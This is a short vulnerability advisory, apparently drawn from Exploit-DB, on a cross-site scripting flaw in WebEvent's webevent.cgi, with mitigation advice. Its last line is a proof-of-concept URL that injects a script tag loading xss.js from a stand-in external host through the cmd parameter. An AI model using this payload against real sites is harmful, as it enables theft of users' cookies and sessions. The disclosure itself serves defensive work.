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WebEvent
by:
Unknown
7.5
CVSS
HIGH
Cross-Site Scripting
79
CWE
Product Name: WebEvent
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: NO
Related CWE: Unknown
CPE: a:unknown_vendor:webevent
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Cross-Site Scripting Vulnerability in WebEvent

The WebEvent application fails to properly sanitize user-supplied input, leading to a cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This allows the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization in the WebEvent application. Additionally, developers should use output encoding when displaying user-supplied data to prevent cross-site scripting attacks.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/25148/info

WebEvent is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/cgi-bin/webevent/webevent.cgi?cmd=%22%3CSCRIPT+SRC=http://www.example2.com/xss.js%3E%3C/SCRIPT%3E